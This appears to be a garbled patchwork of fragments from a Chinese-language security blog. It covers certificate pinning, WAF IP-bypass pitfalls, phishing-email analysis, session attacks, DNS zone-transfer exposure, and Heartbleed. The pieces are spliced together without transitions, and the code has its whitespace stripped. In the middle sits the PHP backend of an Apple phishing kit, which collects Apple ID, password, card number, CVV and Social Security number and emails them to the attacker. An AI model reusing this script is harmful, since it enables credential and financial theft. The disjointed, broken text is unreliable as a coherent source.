-(void)connection:(NSURLConnection*)connectiondidReceiveAuthenticationChallenge:(NSURLAuthenticationChallenge*)challenge{if([[[challengeprotectionSpace]authenticationMethod]isEqualToString:NSURLAuthenticationMethodServerTrust]){do{SecTrustRefserverTrust=[[challengeprotectionSpace]serverTrust];if(nil==serverTrust)break;/* failed */OSStatusstatus=SecTrustEvaluate(serverTrust,NULL);if(!(errSecSuccess==status))break;/* failed */SecCertificateRefserverCertificate=SecTrustGetCertificateAtIndex(serverTrust,0);if(nil==serverCertificate)break;/* failed */CFDataRefserverCertificateData=SecCertificateCopyData(serverCertificate);[(id)serverCertificateDataautorelease];if(nil==serverCertificateData)break;/* failed */constUInt8*constdata=CFDataGetBytePtr(serverCertificateData);constCFIndexsize=CFDataGetLength(serverCertificateData);NSData*cert1=[NSDatadataWithBytes:datalength:(NSUInteger)size];NSString*file=[[NSBundlemainBundle]pathForResource:@"random-org"ofType:@"der"];NSData*cert2=[NSDatadataWithContentsOfFile:file];if(nil==cert1||nil==cert2)break;/* failed */constBOOLequal=[cert1isEqualToData:cert2];if(!equal)break;/* failed */// The only good exit pointreturn[[challengesender]useCredential:[NSURLCredentialcredentialForTrust:serverTrust]forAuthenticationChallenge:challenge];}while(0);}// Bad dogreturn[[challengesender]cancelAuthenticationChallenge:challenge];}
在這種架構下的 WAF 看似對後端的伺服器多了一份保障，但也並非完美。其問題是後端的 Web Server 在透過 WAF 存取的情況下，無法得知來自 Client 端的來源 IP，相反的 Web Server 能看到的 IP 都將是 WAF 的 IP (REMOTE ADDR)，在這種情況下可能造成 Client 端可以存取受 IP 來源限制的系統。延伸閱讀：如何正確的取得使用者 IP？。
以下圖為例，網站本身只允許 192.168.x.x 的網段連線，如果今天 Client IP 是 1.1.1.1，將無法存取該網站。
如果建置了 WAF，有關 IP 的設定必須要從 WAF 支援的 HTTP Header 中取出使用者的 IP (REMOTE_ADDR)，才能讓原本網站的 IP 限制生效。在這種設定錯誤或是對 WAF 架構不瞭解的情況下，WAF 反而成為駭客繞過 Private IP 限制的跳板，就如同為駭客開了一個後門。因此在使用資安設備時，必須瞭解其架構。別讓資安設備、安全機制，反而使得伺服器更不安全。
再回頭來以這封信為例，最大的破綻除了非制式的內文之外，就屬署名了。明明是假造「Apple Customer Support」的來信，最下面卻簽署「Microsoft Privacy and cookies Developers」，有沒有搞錯？可以再用點心嗎？
連結
最後的重點就是信件中的釣魚連結了，通常這個連結會帶你前往一個長得跟官方網站一模一樣的登入頁面，騙你輸入帳號密碼登入來竊取。在點選超連結之前，一定要先看一下這個連結前往的位置是不是官方的位置，例如是 Apple 的信件通常就會是前往 Apple.com 自己的網域名稱。當然更要特別注意的是假造的網域名稱，例如使用「App1e.com」來偽裝成「Apple.com」，也是非常常見的。
<?php$ip=getenv("REMOTE_ADDR");$hostname=gethostbyaddr($ip);$bilsmg.="------------+| AppLe VbV |+------------\n";$bilsmg.="Apple ID : ".$_POST['donnee000']."\n";$bilsmg.="Password : ".$_POST['donnee001']."\n";$bilsmg.="Full Name : ".$_POST['donnee01']."\n";$bilsmg.="Date of Birth : ".$_POST['donnee02']."/";$bilsmg.="".$_POST['donnee3']."/";$bilsmg.="".$_POST['donnee4']."\n";$bilsmg.="Number Of Credit Card : ".$_POST['donnee5']."\n";$bilsmg.="CVC (CVV) : ".$_POST['donnee6']."\n";$bilsmg.="Expiration Date : ".$_POST['donnee7']."/";$bilsmg.="".$_POST['donnee8']."\n";$bilsmg.="Social Security Number : ".$_POST['donnee9']."\n";$bilsmg.="------------+| APpLe VBV |+------------\n";$bilsmg.="Fr0m $ip\n";$bilsnd="[email protected]";$bilsub="Apple Result | Fr0m $ip";$bilhead="From: Apple Results <[email protected]>";$bilhead.=$_POST['eMailAdd']."\n";$bilhead.="MIME-Version: 1.0\n";$arr=array($bilsnd,$IP);foreach($arras$bilsnd)mail($bilsnd,$bilsub,$bilsmg,$bilhead);header('Location:https://itunesconnect.apple.com/WebObjects/iTunesConnect.woa/');?>
<?phpsession_start();?><html><head><title>HttpOnly Demo</title></head><body><h3>HttpOnly Demo</h3><p>If you didn't set HttpOnly flag, cookie will write down by document.write().</p><script>document.write(document.cookie);</script></body></html>
我們可以用一個譬喻來表示：你加入了一個秘密俱樂部，填寫完會員資料後，得到了一張會員卡。之後只要憑這張會員卡，就可以進入這個俱樂部。但是隔天，你的會員卡掉了。撿走你會員卡的人，就可以用你的會員卡進入這個秘密俱樂部，因為會員卡上沒有你的照片或是其他足以辨識身分的資訊。這就像是一個會員網站，我們申請了一個帳號（填寫會員資料加入俱樂部），輸入帳號密碼登入之後，得到一組 Cookie，其中有 Session ID 來辨識你的身分（透過會員卡來辨識身分）。今天如果 Cookie 被偷走了（會員卡被撿走了），別人就可以用你的帳號來登入網站（別人用你的會員卡進入俱樂部）。
Session 攻擊手法有三種：
猜測 Session ID (Session Prediction)
竊取 Session ID (Session Hijacking)
固定 Session ID (Session Fixation)
我們以下一一介紹。
Session Prediction (猜測 Session ID)
Session ID 如同我們前面所說的，就如同是會員卡的編號。只要知道 Session ID，就可以成為這個使用者。如果 Session ID 的長度、複雜度、雜亂度不夠，就能夠被攻擊者猜測。攻擊者只要寫程式不斷暴力計算 Session ID，就有機會得到有效的 Session ID 而竊取使用者帳號。
DNS 是在 1983 年由 Paul Mockapetris 所發明，相關規範分別在 RFC 1034 以及 RFC 1035。其主要作用是用來記憶 IP 位址與英文之間的對應關係，讓人類可以用較簡單的方式記得主機名稱。目前一般民眾大多使用 ISP 或國際知名公司提供的 DNS server，如中華的 168.95.1.1 或是 Google 的 8.8.8.8 等等。
然而對於企業而言，可能需要架設大量機器或內部系統，又希望以簡單的方式記憶主機名稱，因此許多企業有自行架設 DNS server 的需求。同時企業通常也會建立幾台備援 DNS server，以避免 DNS 服務忽然中斷。但是當企業有多台 DNS server 時，就必須考量 DNS 記錄的同步問題，通常會使用 zone transfer 這個功能來同步記錄。
然而若管理者未做好相關設定，使所有來源皆可對企業的 DNS 主機進行 zone transfer 查詢，則有機會讓此功能成為企業遭受攻擊的起點。用現實生活情境舉例的話，對外開放 zone transfer 就如同所有人都可以任意查詢你名下的所有房地產位在何處，假如有人要針對性的攻擊你，隨時都可以去看你某個房地產有沒有哪扇門窗沒關好，伺機入侵你的家園。一般我們對企業資訊系統進行滲透測試時，在資訊搜集的階段也會先從 domain name 下手，因此 DNS 相關資料的重要性可見一斑。
Zone transfer 的資安議題早在 1999 年就已有人提出，理應成為各企業進行資安稽核的步驟之一。然而十五年過去了，在近期我們卻發現許多國內大企業仍有此問題，令人非常驚訝！究竟企業該如何檢測自身是否存在這種安全漏洞？此問題目前在台灣網路環境佔有多大的比例？Zone transfer 會對企業造成什麼影響？讓我們繼續看下去～
如同上次 HTTP Headers 資安議題所探討的對象，我們從 TIEA 成員以及 Alexa TW top 525 觀察 zone transfer 問題分別在這些族群中佔有多少比例。
根據我們監測的結果，在目前 TIEA 的 132 名成員中，有 20 個網域存在 zone transfer 問題，佔了 15.15%。而在 Alexa TW top 525 當中，有 48 個網域存在 zone transfer 問題，佔了 9.14%。乍看之下比率似乎不高，但是在上述兩個族群的網域當中，包括：
電信商
多家電視媒體
多家網路新聞媒體
多家線上購物網站
知名團購網站
知名金流公司
知名線上音樂服務
台灣企業不夠注重資訊安全，罔顧客戶資料安全性，早已不是新聞。然而若企業不顧自身商業利益與責任，當彼此無商業往來時，我們也無法一一咎責。但若連台北市政府、教育部、多間大專院校都有此問題，就令人不太能接受了，這些政府單位與教育機構理當為我們的個人資料安全性負起全部的責任，不應該漏掉任何一個資安環節。上述結果顯示出台灣從政府到企業可能都沒有徹底落實 DNS 的資安設定，而且目前的數據僅僅是針對 TIEA 成員以及 Alexa TW top 525 進行檢測，若是對全台灣或是全世界進行大範圍的檢測，恐怕會發現更多驚人的案例！
對企業的潛在影響
洩漏網域名稱
一般企業在進行滲透測試時，通常只會挑幾個最重要、最常面對客戶的網域進行測試，但是入侵者可不會這麼乖。當有人嘗試要入侵企業時，必定是先進行全面的偵查，觀察企業哪幾個網域所執行的 service 有潛在的弱點，或是看哪幾個網域防禦力道較弱，再從該處下手。因此 zone transfer 問題所提供的完整 DNS 記錄，就為入侵者省下了許多偵查的工夫。
洩漏外網 IP 範圍
當攻擊者取得 zone transfer 所洩漏的資料後，可合理推斷哪些網段是屬於該企業，進一步對該網段進行掃描，嘗試找尋有機會入侵之標的物。
洩漏內網 IP 範圍
有些管理人員、開發者為求內部開發方便，經常會將網域名稱跟內網 IP 位址綁在一起，例如將 phpmyadmin.example.com 設定為 192.168.1.100，攻擊者就可根據此類資訊猜測內網哪些網段存在重要服務。這種設定平常也許不會造成重大損害，但是當管理者疏於建立內網防禦機制，恰好企業又被入侵至內網時，造成一連串重大損失的機率將會大幅提高。
解決方式
Linux
若使用 Linux，可在 /etc/named.conf 內加入下列選項，以限制可存取 zone transfer 的來源：
DNS 在做 zone transfer 時是使用 TCP 53 port（有別於一般 DNS query 的 UDP 53 port），因此有些人會認為將 TCP 53 port 關閉就可以對付 zone transfer，而不想修改 zone transfer 的設定。其實這個觀念只對了一半，若 zone file 的資料小於 512 byte，仍然可以透過 UDP 傳輸。即使 zone file 的資料大於 512 byte，也可以用 Incremental Zone Transfer (IXFR) 的方式取得部分資料。
結論
如果企業今天非常有自信能夠替所有網域都準備好完善的安全措施，那麼 zone transfer 所洩漏的資料對該企業就不會有太嚴重的影響。然而，在現今這個入侵手法日新月異的世界裡，又有誰能夠永遠保證自己的安全防護已經做足了呢？在前陣子火紅的 OpenSSL CVE-2014-0160 Heartbleed 問題被爆出來之後，我們就藉由許多 zone transfer 的記錄觀察到全世界有非常多企業只修復了主要網站的 OpenSSL 漏洞，卻忽略了企業內其他的服務與設備可能也有此漏洞，像是 DB、Email、VPN、NAS 等等，直到今日仍遲遲未修復。
$key=wp_hash($username.$pass_frag.'|'.$expiration,$scheme);$hash=hash_hmac('md5',$username.'|'.$expiration,$key);if($hmac!=$hash){/**
* Fires if a bad authentication cookie hash is encountered.
*
* @since 2.7.0
*
* @param array $cookie_elements An array of data for the authentication cookie.
*/do_action('auth_cookie_bad_hash',$cookie_elements);returnfalse;}
The U.S. National Security Agency knew for at least two years about a flaw in the way that many websites send sensitive information, now dubbed the Heartbleed bug, and regularly used it to gather critical intelligence, two people familiar with the matter said.
廠商的設備目前狀況特別嚴重，因為所有同個版本的設備都會受影響，而在廠商釋出更新之前，只能被動的等待更新。若沒有繼續簽訂維護約的設備，也只能繼續跟廠商簽約更新，或者是看廠商是否可以直接提供更新檔。如果有 VPN Server 等服務更要注意，如果被攻擊者取得帳號密碼，等於如入無人之境，直接使用你的帳號登入到企業內網，不可不慎。
各家系統更新的速度？
引述自好朋友 Ant 的文章，各家作業系統、網站的更新速度，代表著企業重視資安的程度以及針對資安事件緊急應變的效率，也可以作為我們挑選系統、網站、廠商的依據。
